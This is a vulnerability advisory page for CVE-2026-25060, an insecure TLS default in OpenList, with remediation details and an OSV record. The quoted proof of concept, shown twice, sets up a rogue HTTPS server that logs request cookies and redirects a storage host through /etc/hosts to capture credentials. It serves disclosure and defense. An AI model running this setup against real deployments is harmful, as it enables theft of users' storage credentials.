CVE-2026-25060: Github.com/OpenListTeam/OpenList/v4 OpenList Has Insecure TLS Default Vulnerability

HIGH
Advisory Identifier: GHSA-wf93-3ghh-h389
CVSS 8.1
CWE-599
Published
Advisory Summary

CVE-2026-25060 is a HIGH (CVSS 8.1) openlist has insecure tls default vulnerability (CWE-599: Missing Validation of OpenSSL Certificate) affecting Github.com/OpenListTeam/OpenList/v4 libraries in the Go ecosystem. The issue involves openlist has insecure tls default configuration. Remediation is available by upgrading affected packages to version 4.1.10.

CVE-2026-25060 at a Glance

CVE Identifier CVE-2026-25060
GHSA Identifier GHSA-wf93-3ghh-h389
Severity HIGH
CVSS v3.1 Base Score 8.1
CWE Classification CWE-599: Missing Validation of OpenSSL Certificate
Affected Product Github.com/OpenListTeam/OpenList/v4
Package Ecosystem Go
Published Date
Last Updated

Security Impact

CVSS: 8.1

The security impact metrics below are parsed directly from the CVSS v3.1 vector string (CVSS:3.1/AV:N/AC:H/PR:N/UI:N/S:U/C:H/I:H/A:H).

Attack Vector Network (AV:N)
Attack Complexity High (AC:H)
Privileges Required None (PR:N)
User Interaction None (UI:N)
Scope Unchanged (S:U)
Confidentiality High (C:H)
Integrity High (I:H)
Availability High (A:H)

How to Fix CVE-2026-25060

To remediate this vulnerability, upgrade all affected Github.com/OpenListTeam/OpenList/v4 dependencies to a patched release. Both direct and transitive dependencies should be checked, as frameworks or security libraries may pull in vulnerable versions transitively.

github.com/OpenListTeam/OpenList/v4 fixed: 4.1.10
Upgrade github.com/OpenListTeam/OpenList/v4 to 4.1.10
Verify Direct and Transitive Dependencies

Run the following command in your project directory to verify that all resolved dependencies use the patched release:

inspect dependencies for github.com/OpenListTeam/OpenList/v4

How to Check if You Are Affected

To determine whether your application is affected by CVE-2026-25060, inspect your project dependencies for Github.com/OpenListTeam/OpenList/v4:

inspect dependencies for github.com/OpenListTeam/OpenList/v4

Analyze the terminal output to locate any version of Github.com/OpenListTeam/OpenList/v4 in your dependency tree. If any resolved version matches the vulnerable ranges listed in the table below (for example, versions earlier than 4.1.10), your application is affected.

Note: Verify declared build manifests and deployed runtime container environments.

Technical Details

Vulnerability Mechanism & Technical Analysis

This vulnerability is classified under CWE-599: Missing Validation of OpenSSL Certificate, where the product uses openssl and trusts or uses a certificate without using the ssl_get_verify_result() function to ensure that the certificate satisfies all necessary security requirements. In Github.com/OpenListTeam/OpenList/v4, software state validation or input boundaries are circumvented during processing. Review the official source advisory statement below for specific affected components, classes, and reproduction details.

Source Advisory Statement

### Summary The application disables TLS certificate verification by default for all outgoing storage driver communications, making the system vulnerable to Man-in-the-Middle (MitM) attacks. This enables the complete decryption, theft, and manipulation of all data transmitted during storage operations, severely compromising the confidentiality and integrity of user data. ### Details Certificate verification is disabled by default for all storage driver communications. The `TlsInsecureSkipVerify` setting is default to true in the `DefaultConfig()` function in [internal/conf/config.go](https://github.com/OpenListTeam/OpenList/blob/5db2172ed681346b69ed468c73c1f01b6ed455ea/internal/conf/config.go#L185). ~~~ func DefaultConfig() *Config { // ... TlsInsecureSkipVerify: true, // ... } ~~~ This vulnerability enables Man-in-the-Middle (MitM) attacks by disabling TLS certificate verification, allowing attackers to intercept and manipulate all storage communications. Attackers can exploit this through network-level attacks like ARP spoofing, rogue Wi-Fi access points, or compromised internal network equipment to redirect traffic to malicious endpoints. Since certificate validation is skipped, the system will unknowingly establish encrypted connections with attacker-controlled servers, enabling full decryption, data theft, and manipulation of all storage operations without triggering any security warnings. ### PoC We modified the /etc/hostsfile to simulate DNS hijacking and redirect [www.weiyun.com](http://www.weiyun.comto/) to a malicious TLS-enabled HTTP server. The purpose of this PoC is to demonstrate that the Openlist server will indeed establish communication with a malicious server due to disabled certificate verification. This allows us to intercept and steal authentication cookies used for communicating with other storage providers. #### Setup a malicious https server: *ssl.conf*: ~~~ LoadModule ssl_module modules/mod_ssl.so LoadModule log_config_module modules/mod_log_config.so Listen 443 LogFormat "%h %l %u %t \"%r\" %>s %b Host:%{Host}i User-Agent:%{User-Agent}i Referer:%{Referer}i Accept:%{Accept}i Cookie:%{Cookie}i" headers CustomLog "/usr/local/apache2/logs/headers.log" headers <VirtualHost _default_:443> DocumentRoot "/usr/local/apache2/htdocs" ServerName localhost SSLEngine on SSLCertificateFile "/usr/local/apache2/conf/server.crt" SSLCertificateKeyFile "/usr/local/apache2/conf/server.key" ErrorLog "/usr/local/apache2/logs/ssl_error.log" <Directory "/usr/local/apache2/htdocs"> Options Indexes FollowSymLinks AllowOverride None Require all granted </Directory> </VirtualHost> ~~~ *Dockerfile*: ~~~ FROM httpd:2.4 # Copy SSL config COPY ssl.conf /usr/local/apache2/conf/extra/ssl.conf # Include SSL config in main httpd.conf RUN echo "Include conf/extra/ssl.conf" >> /usr/local/apache2/conf/httpd.conf # Copy certs COPY certs/server.crt /usr/local/apache2/conf/server.crt COPY certs/server.key /usr/local/apache2/conf/server.key ~~~ *build-ssh-httpd.sh* ~~~bash mkdir certs openssl req -x509 -nodes -days 365 \ -newkey rsa:2048 \ -keyout certs/server.key \ -out certs/server.crt docker build -t httpd-test-ssl . ~~~ *docker-compose.yaml*: ~~~ services: openlist: restart: always volumes: - '/etc/openlist:/opt/openlist/data' ports: - '5244:5244' - '5245:5245' user: '0:0' environment: - UMASK=022 - TZ=Asia/Shanghai container_name: openlist image: 'openlistteam/openlist:latest' evilhttpd: image: 'httpd-test-ssl:latest' ~~~ #### Simulate DNS hijacking Modify openlist container's /etc/hosts to redirect www.weiyun.com to malicious server: ~~~ <IP of HTTPS Server> www.weiyun.com ~~~ You can `ping evilhttpd` to obtain its IP. #### Trigger In the front end, add a weiyun storage and inspect log on tls server: ~~~ root@3c5bbda440c9:/usr/local/apache2# tail -n 1 /usr/local/apache2/logs/headers.log 172.18.0.2 - - [18/Dec/2025:06:29:48 +0000] "POST /webapp/json/weiyunQdiskClient/DiskUserInfoGet?cmd=2201&g_tk= HTTP/1.1" 404 236 Host:www.weiyun.com User-Agent:Mozilla/5.0 (Macintosh; Apple macOS 15_5) AppleWebKit/537.36 (KHTML, like Gecko) Safari/537.36 Chrome/138.0.0.0 Referer:- Accept:- Cookie:test-secret-cookie= ~~~ Note that the cookie in the log. ### Impact This misconfiguration allows attackers to perform man in the middle attack, which potentially leads to the complete decryption, theft, and manipulation of all data transmitted during storage operations, severely compromising the confidentiality and integrity of user data. This vulnerability affects all openlist deployment with default TLS configuration. ### Note Credit This vulnerability was discovered by: - XlabAI Team of Tencent Xuanwu Lab - Atuin Automated Vulnerability Discovery Engine CVE and credit are preferred. If you have any questions regarding the vulnerability details, please feel free to reach out to us for further discussion. Our email address is [xlabai@tencent.com](mailto:xlabai@tencent.com). We follow the security industry standard [90+30 disclosure policy](https://googleprojectzero.blogspot.com/p/vulnerability-disclosure-policy.html). If the aforementioned vulnerabilities cannot be fixed within 90 days of submission, we reserve the right to publicly disclose all information about the issues after this timeframe.

CVE-2026-25060 Affected Github.com/OpenListTeam/OpenList/v4 Versions

1 component(s)
Fixed Versions:
4.1.10
Product / Package Ecosystem Affected Versions Fixed Version
github.com/OpenListTeam/OpenList/v4
Go
< 4.1.10
4.1.10

References

Frequently Asked Questions

What is CVE-2026-25060?
CVE-2026-25060 is a security vulnerability in Github.com/OpenListTeam/OpenList/v4 involving OpenList has Insecure TLS Default Configuration under CWE-599: Missing Validation of OpenSSL Certificate.
Which Github.com/OpenListTeam/OpenList/v4 versions are affected?
Affected versions include releases prior to 4.1.10 across affected packages: github.com/OpenListTeam/OpenList/v4.
What version fixes CVE-2026-25060?
Upgrading to 4.1.10 (or the latest patched release for your respective branch) resolves the vulnerability.
Is github.com/OpenListTeam/OpenList/v4 affected?
Yes, github.com/OpenListTeam/OpenList/v4 is affected in releases prior to 4.1.10. Upgrade your dependency to 4.1.10 or later.
What is the CVSS score of CVE-2026-25060?
CVE-2026-25060 has a CVSS v3.1 base score of 8.1 (HIGH) with vector string CVSS:3.1/AV:N/AC:H/PR:N/UI:N/S:U/C:H/I:H/A:H.
What CWE is associated with CVE-2026-25060?
CVE-2026-25060 is classified under CWE-599: Missing Validation of OpenSSL Certificate (The product uses OpenSSL and trusts or uses a certificate without using the SSL_get_verify_result() function to ensure that the certificate satisfies all necessary security requirements.).
How can I check Go dependencies for CVE-2026-25060?
Run the dependency tree command: 'inspect dependencies for github.com/OpenListTeam/OpenList/v4'. This command lists direct and transitive dependencies in your build configuration so you can verify if a vulnerable version is resolved.
Machine-readable OSV JSON OSV v1.5 Schema
Normalized schema output
{
  "schema_version" : "1.4.0",
  "id" : "GHSA-wf93-3ghh-h389",
  "modified" : "2026-02-03T16:13:24Z",
  "published" : "2026-02-02T20:12:52Z",
  "aliases" : [ "CVE-2026-25060" ],
  "summary" : "OpenList has Insecure TLS Default Configuration",
  "details" : "### Summary\nThe application disables TLS certificate verification by default for all outgoing storage driver communications, making the system vulnerable to Man-in-the-Middle (MitM) attacks. This enables the complete decryption, theft, and manipulation of all data transmitted during storage operations, severely compromising the confidentiality and integrity of user data.\n\n### Details\nCertificate verification is disabled by default for all storage driver communications.\n\nThe `TlsInsecureSkipVerify` setting is default to true in the `DefaultConfig()` function in [internal/conf/config.go](https://github.com/OpenListTeam/OpenList/blob/5db2172ed681346b69ed468c73c1f01b6ed455ea/internal/conf/config.go#L185).\n\n~~~\nfunc DefaultConfig() *Config {\n    // ...\n    TlsInsecureSkipVerify: true,\n    // ...\n}\n~~~\n\nThis vulnerability enables Man-in-the-Middle (MitM) attacks by disabling TLS certificate verification, allowing attackers to intercept and manipulate all storage communications. Attackers can exploit this through network-level attacks like ARP spoofing, rogue Wi-Fi access points, or compromised internal network equipment to redirect traffic to malicious endpoints. Since certificate validation is skipped, the system will unknowingly establish encrypted connections with attacker-controlled servers, enabling full decryption, data theft, and manipulation of all storage operations without triggering any security warnings.\n\n### PoC\nWe modified the /etc/hostsfile to simulate DNS hijacking and redirect [www.weiyun.com](http://www.weiyun.comto/) to a malicious TLS-enabled HTTP server.\n\nThe purpose of this PoC is to demonstrate that the Openlist server will indeed establish communication with a malicious server due to disabled certificate verification. This allows us to intercept and steal authentication cookies used for communicating with other storage providers.\n\n#### Setup a malicious https server:\n*ssl.conf*:\n~~~\nLoadModule ssl_module modules/mod_ssl.so\nLoadModule log_config_module modules/mod_log_config.so\n\nListen 443\n\nLogFormat \"%h %l %u %t \\\"%r\\\" %>s %b Host:%{Host}i User-Agent:%{User-Agent}i Referer:%{Referer}i Accept:%{Accept}i Cookie:%{Cookie}i\" headers\nCustomLog \"/usr/local/apache2/logs/headers.log\" headers\n\n<VirtualHost _default_:443>\n    DocumentRoot \"/usr/local/apache2/htdocs\"\n    ServerName localhost\n\n    SSLEngine on\n    SSLCertificateFile \"/usr/local/apache2/conf/server.crt\"\n    SSLCertificateKeyFile \"/usr/local/apache2/conf/server.key\"\n\n    ErrorLog \"/usr/local/apache2/logs/ssl_error.log\"\n\n    <Directory \"/usr/local/apache2/htdocs\">\n        Options Indexes FollowSymLinks\n        AllowOverride None\n        Require all granted\n    </Directory>\n</VirtualHost>\n~~~\n\n*Dockerfile*:\n~~~\nFROM httpd:2.4\n\n# Copy SSL config\nCOPY ssl.conf /usr/local/apache2/conf/extra/ssl.conf\n\n# Include SSL config in main httpd.conf\nRUN echo \"Include conf/extra/ssl.conf\" >> /usr/local/apache2/conf/httpd.conf\n\n# Copy certs\nCOPY certs/server.crt /usr/local/apache2/conf/server.crt\nCOPY certs/server.key /usr/local/apache2/conf/server.key\n~~~\n\n*build-ssh-httpd.sh*\n~~~bash\nmkdir certs\nopenssl req -x509 -nodes -days 365 \\\n  -newkey rsa:2048 \\\n  -keyout certs/server.key \\\n  -out certs/server.crt\ndocker build -t httpd-test-ssl .\n~~~\n\n*docker-compose.yaml*:\n~~~\nservices:\n  openlist:\n    restart: always\n    volumes:\n      - '/etc/openlist:/opt/openlist/data'\n    ports:\n      - '5244:5244'\n      - '5245:5245'\n    user: '0:0'\n    environment:\n      - UMASK=022\n      - TZ=Asia/Shanghai\n    container_name: openlist\n    image: 'openlistteam/openlist:latest'\n\n  evilhttpd:\n    image: 'httpd-test-ssl:latest'\n~~~\n\n#### Simulate DNS hijacking\nModify openlist container's /etc/hosts to redirect www.weiyun.com to malicious server:\n~~~\n<IP of HTTPS Server>      www.weiyun.com\n~~~\n\nYou can `ping evilhttpd` to obtain its IP.\n\n#### Trigger\nIn the front end, add a weiyun storage and inspect log on tls server:\n\n~~~\nroot@3c5bbda440c9:/usr/local/apache2# tail -n 1  /usr/local/apache2/logs/headers.log\n172.18.0.2 - - [18/Dec/2025:06:29:48 +0000] \"POST /webapp/json/weiyunQdiskClient/DiskUserInfoGet?cmd=2201&g_tk= HTTP/1.1\" 404 236 Host:www.weiyun.com User-Agent:Mozilla/5.0 (Macintosh; Apple macOS 15_5) AppleWebKit/537.36 (KHTML, like Gecko) Safari/537.36 Chrome/138.0.0.0 Referer:- Accept:- Cookie:test-secret-cookie=\n~~~\n\nNote that the cookie in the log.\n\n### Impact\nThis misconfiguration allows attackers to perform man in the middle attack, which potentially leads to the complete decryption, theft, and manipulation of all data transmitted during storage operations, severely compromising the confidentiality and integrity of user data.\n\nThis vulnerability affects all openlist deployment with default TLS configuration.\n\n### Note\nCredit\nThis vulnerability was discovered by:\n- XlabAI Team of Tencent Xuanwu Lab\n- Atuin Automated Vulnerability Discovery Engine\n\nCVE and credit are preferred.\n\nIf you have any questions regarding the vulnerability details, please feel free to reach out to us for further discussion. Our email address is [xlabai@tencent.com](mailto:xlabai@tencent.com).\n\nWe follow the security industry standard [90+30 disclosure policy](https://googleprojectzero.blogspot.com/p/vulnerability-disclosure-policy.html). If the aforementioned vulnerabilities cannot be fixed within 90 days of submission, we reserve the right to publicly disclose all information about the issues after this timeframe.",
  "severity" : [ {
    "type" : "CVSS_V3",
    "score" : "CVSS:3.1/AV:N/AC:H/PR:N/UI:N/S:U/C:H/I:H/A:H"
  } ],
  "affected" : [ {
    "package" : {
      "ecosystem" : "Go",
      "name" : "github.com/OpenListTeam/OpenList/v4"
    },
    "ranges" : [ {
      "type" : "ECOSYSTEM",
      "events" : [ {
        "introduced" : "0"
      }, {
        "fixed" : "4.1.10"
      } ]
    } ]
  } ],
  "references" : [ {
    "type" : "WEB",
    "url" : "https://github.com/OpenListTeam/OpenList/security/advisories/GHSA-wf93-3ghh-h389"
  }, {
    "type" : "ADVISORY",
    "url" : "https://nvd.nist.gov/vuln/detail/CVE-2026-25060"
  }, {
    "type" : "WEB",
    "url" : "https://github.com/OpenListTeam/OpenList/commit/e3c664f81d0584fbbdb86ffe6644be16259371c1"
  }, {
    "type" : "PACKAGE",
    "url" : "https://github.com/OpenListTeam/OpenList"
  }, {
    "type" : "WEB",
    "url" : "https://github.com/OpenListTeam/OpenList/blob/5db2172ed681346b69ed468c73c1f01b6ed455ea/internal/conf/config.go#L185"
  }, {
    "type" : "WEB",
    "url" : "https://github.com/OpenListTeam/OpenList/releases/tag/v4.1.10"
  } ],
  "database_specific" : {
    "cwe_ids" : [ "CWE-599" ],
    "severity" : "HIGH",
    "github_reviewed" : true,
    "github_reviewed_at" : "2026-02-02T20:12:52Z",
    "nvd_published_at" : "2026-02-02T23:16:08Z"
  }
}